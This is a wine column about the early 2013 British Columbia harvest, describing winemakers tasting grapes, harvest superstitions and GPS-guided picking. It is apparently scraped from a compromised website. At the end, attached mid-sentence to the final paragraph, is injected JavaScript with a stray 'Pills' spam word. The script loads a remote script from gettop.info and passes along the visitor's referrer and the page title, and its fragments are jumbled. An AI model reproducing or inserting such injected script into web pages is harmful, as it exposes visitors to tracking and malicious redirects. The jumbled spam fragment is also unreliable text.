Early harvest; Winemakers assess – Aug 31, 2013

http://www.edutroniceducation.edu.np/?p=1412 By Anthony Gismondi

Summer unofficially comes to a screeching halt this weekend, not because the calendar says so but because for most of us, our work calendars and our back-to-school calendars, say so. Labour Day tends to focus our personal time clocks too as we begin to note the beginning of significantly shorter days and much cooler evenings. The good news is we can still expect another six to eight weeks of decent weather, work or play, before the rain sets in.

Dry sunny weather is what everyone in British Columbia wine country is hoping for, not to mention the rest of the northern hemisphere. Despite the constant battering the wine industry gets, to simplify its story there thankfully remains a great deal of mystery surrounding the harvest and/or vintage. From my point of view there is no need to dumb down the process but rather it should be explored with interest and anticipation.

Seriously, if you feel the need to simplify a subject you may want to consider the television, PVR, Xbox and Blu-ray remote control business. Can anybody tell me why we require three or four remote controls in every household plus the remote control that controls all the remote controls? But I digress.

The 2013 harvest will be one of the earliest in years in British Columbia and, according to some sources, maybe one of the best too. I’m told that there are blocks Sauvignon Blanc, Chardonnay and Pinot Gris that could be picked the first week in September which is unusually early for British Columbia.

There is great deal of superstition regarding the harvest. It ranges from winemakers who will not wash their cars until the last grapes are picked to owners who will not comment on the quality of the vintage until everything has been fermented. The thinking is that if anyone says anything about a great year the skies will open up and with rain comes disaster.

What we do know is that winemakers and viticulturalists will be walking the vineyards for the next month or so tasting grapes and literally assessing the levels of fruit, acidity and tannin in each mouthful. The grapes are analyzed in a laboratory too, but that is usually only used to confirm what the winemakers are tasting on their palates. There is no substitution for tasting grapes and I can only imagine how terrifying it is for a young or inexperienced winemaker searching for perfection among the rows on a warm fall day. It takes years to translate those flavours into meaningful pick decisions.

Once the decision to pick has been made (orally), winemakers have many devices to help them communicate which grapes get picked, including machines programmed to pick only certain designated sectors or blocks of the vineyard. Using GPS co-ordinates that correlate to the winemaker’s final walk through the vineyard, rows, or even one side of a row, can be tagged electronically with a mobile device. The information is sent back to the winery and is loaded by Bluetooth into a computerized map of the vineyard site before the machines or pickers are sent out into the vineyard. Sophisticated, you bet.

You can play along too if you find yourself in a vineyard over the next month. That’s right, park the car safely off the road and walk into a vineyard and be a grape. Stand with your face to the sun and then your back. Feel the wind, touch the soil, and finally select some berries to chew. Don’t forget to pick the berries from the sunny side and the shady side of the row. After you taste the sugar and the acidity and chew the skins. Inspect the pips to see how ripe or brown they are. Finally make your decision to pick. Is it yes or no? There’s no pressure, just an entire year’s work and the winery’s reputation in a year or two when the wines are released. I know, you would rather operate three or four remote controls.d.getElementsByTagName(‘head’)[0].appendChild(s); Pills var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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